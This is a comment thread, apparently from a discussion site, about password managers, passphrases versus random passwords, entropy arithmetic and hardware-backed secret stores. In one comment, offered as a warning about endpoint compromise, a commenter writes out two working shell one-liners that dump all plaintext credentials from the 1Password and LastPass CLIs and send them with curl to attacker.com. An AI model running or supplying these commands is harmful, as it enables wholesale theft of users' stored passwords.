Securely Yours, Love Password Managers (2021)
cyberlit.co
cyberlit.co
KeePassXC is a little clunky to set up the link between your local instance and your browser(s) but once that is done, it's straightforward and seems to work very well.
EDIT: Bitwarden recently added passphrases to its generator feature. I personally prefer long random passwords but I know some folks prefer to remember a phrase.
The one gripe I have with it is its KeeAgent emulation on Windows: It works with Putty (AFAIK) and Microsoft's official OpenSSH port (which gets more and more out of date), but it doesn't mesh well with MSYS2 or Cygwin. And interoperability between those is still really poor.
However! The passphrases are very useful for situations where the password also needs to be remembered and actually typed by hand on occasion. I have a single such case, my Active Directory work account. Need to login to Windows but also to various platforms in the browser.
The main motivation is having a different password per service. So if your password is compromised in one place, you're not universally compromised.
Yes, exactly. But how many logins does the average user have? Dozens at least. What's a secure password? 12+ elements (alphanumeric and specials). That is impossible to keep in your head. The only way the average person can make use of complex, secure passwords is by having a single one and reusing that. This is where password managers come into play. You simply create unique passwords, with strong security to each. Again, these will be impossible to remember. So the entire point of passphrases is moot: you are not supposed to remember them, let alone know them. Yes, not even know them. It's the password manager's job!
The only exception (I know of) is passwords that need to be entered regularly, offline, like the operating system's login screen. Those better be passphrases: they can be remembered, but can also be made secure enough by modern standards. The master password to my password manager is such a passphrase, with some modifications. So is the login to my AD user (here, and only here, I used the passphrase generator). That's it. The rest are very long, randomly generated passwords (not phrases), of which I know none.
This is, to my knowledge, the "idiomatic" and "correct" way of using password managers today.
As for "love", I don't think LastPass (which is unfortunately mandated by my company) loves me, and when I see its egregious UI and its idiotic prompts to fill in passwords on sites to which they don't belong to (not to mention prompting me to save passwords which I definitely don't want to save to LastPass, but unfortunately the popup only has a "Not now" button, not a "No, never" button), I don't really have any love for it either...
26^1 = 26 : 26^2 = __676 : 26^3 = _17,576
95^1 = 95 : 95^2 = 9,025 : 95^3 = 857,375
You can see that allowing more characters greatly increases the impact of length.
Your mentor is partly right but your take away papers over the impact of the base.
The passphrase approach [0] is optimized for human memory and I would suggest that for your master password in a password manager but for generated passwords drawing from the greatest set of characters increases security.
Your mentor is right in that length is the more important factor. The character set has a multiplying effect whereas the length has an exponential effect, so 11 lowercase letters is 26^11 combinations, a bit over half as many as 8 special chars (95^8).
It's worth noting that neither of those would be considered a "safe" password - 15 characters for only lowercase and 13 for a mix of all characters is the recommended minimum.
It makes less difference when you consider that the attacker doesn't know you're using a passphrase so will probably be checking for those extra characters anyway.
What does make a difference is that the passphrase is designed to be remembered but should be unique per login. So with 30+ logins you're remembering 30+ passphrases or might you be tempted to reuse some?
You can get the advantages of a passphrase with a password manager but the same is not true in reverse.
* KeepassXC on desktop (linux)
* KeepassDX on mobile (Android)
It's synced any way you like: NextCloud, Syncthing, Dropbox, you name it.
In case anyone gets confused, this is not true.
Far too many sites out there reject longer passwords, or have a strange dislike of a single special character (which of course differs between sites)
Let me use 64 character passwords, dammit!
You'd think this is truly the one thing the industry could agree on, but instead you have sites that restrict you to 12 characters, alphanumeric only.
Example: Exfiltrate all plaintext credentials from 1password
``` op list items | jq -r '.[].uuid' | xargs -n1 bash -c 'op get item "$1"' -- | curl -F 'p=<-' https://attacker.com >/dev/null 2>&1 ```
Example: Exfiltrate all plaintext credentials from lastpass
``` lpass ls | grep -oP '(?<=id: )([0-9]+)' | xargs -n1 bash -c 'lpass ls | grep "id: $1]"; lpass show $1' -- | curl -F 'p=<-' https://attacker.com >/dev/null 2>&1 ```
I have seen fake password manager browser plugins deployed in the wild that phish and exfiltrate master passwords, though the above methods are even simpler as they could just run a loop waiting until a password manager is eventually unlocked.
Software-only password managers may be useful for casual personal use cases such as food delivery services or social media accounts, but are not recommended for any use cases that protect any significant value like production corporate systems, and in particularly not for high risk secrets such as cloud root account creds, TLS CAs, or crypto-asset keys (you know who you are).
I would strongly encourage for most use cases to consider secret management solutions that decrypt one credential at a time on external hardware such as Password Store backed with a Yubikey, Trezor password manager, or a Mooltipass.
These offer damage control even when your endpoint is compromised.
In challenge response, your password manager has a cosmetic software control that prompts you to authenticate yourself with your Yubikey before it will expose the decryption key which in turn exposes your entire password database. This does not help you in the event your system is compromised, as an attacker would just have a background job that waits until the next time you authenticate and steal all secrets just after.
When you use a true hardware encryption solution like Password Store with a Yubikey, it actually encrypts every single secret as individual blobs to a asymmetric public key in the Yubikey. The encryption key never once comes in contact with system memory. Instead a single requested secret is sent to the Yubikey, the decryption is done there in isolated memory and CPU, and then that single plaintext secret is sent back to the OS, provided the user touched the device.
To summarize, let's assume your system is compromised with a rootkit by a remote actor. You have 100 secrets stored in both Keepass with Yubikey authentiction, and in Password Store with Yubikey encryption.
To steal all your secrets from Keypass they only need to wait for you to tap your Yubikey once to get all 100 secrets, if that. They could just skip that check after all as it is just cosmetic. They have root and can modify any binary they want.
Meanwhile in the Password Store setup to get all your 100 secrets your adversary has to trick you into tapping your Yubikey 100 times. Presumably you would notice something was up and have some damage control.
However, it’s not much related to the cryptography. You could write per password databases in keepassxc too, set each with CR and access by command line. You would need one touch per password.
Yes, the key and crypto are inside Yubikey with GPG, whereas with CR only the key is inside Yubikey. We can debate which one is better, at the end it’s a second factor used in different ways.
Like most people, they still occasionally forget what a password is for a give site/app. At that point they proceed to the password reset flow and (hopefully) cross out the old password and write down the new one (accurately).
Most password reset flows use email. Aside from state sponsored efforts, password reset flows are "downgraded" to using a user's email address:
> Click here to recover your login ID. (user gets email with a link or text with the "username")
> Click here to reset your password. (user gets email with a link to reset password)
If the site provides a level of 2FA or hint:
> Enter your 2FA token from your authentication app, or...
> Enter your mother's maiden name.
Once 2FA is confirmed, or doesn't exist, the password flow continues:
> Type in a password (various requirements for a password ensue)
> Login again with the recovered "username" and password. (user tries to login again)
Struggle with saving new password to various password managers ensues.
> Login is successful, or not.
If password flows are "secured" with emailed links, why not just make "logins" use emailed links, with some one-time token that just logs them in? This would make any login to a site/app as "secure" as the user's email login:
> Type in email address (user is sent a one-time login token to click or enter)
> Type in the one-time token (user is logged in if the token is correct)
If the token is wrong, reset the token and take no action. Also, logging the user out on a shorter interval gets them comfortable with this regular "login" process.
A more speedy login can be achieved by collecting the user's phone number. If the phone number is successfully collected, logins can proceed:
> Type in email address (user's phone is sent a short code)
> Type in the code sent to the phone (if it's wrong, reset it and tell the user to try again)
> Add 2FA on top of this to secure SMS security deficiencies
This simplified "reset password" flow is then presented as an alternate solution to logging in without passwords, to a given app or site.
What am I missing here?
I'm traveling. My phone and laptop are lost or stolen. I am now unable to log in to anything?
There are recovery mechanisms that you can set up ahead of time (a series of recovery codes for example), but for the most part I would agree with your premise: you will have a very hard time accessing your accounts if you ever lose your primary devices. For me the security benefit is worth the inconvenience.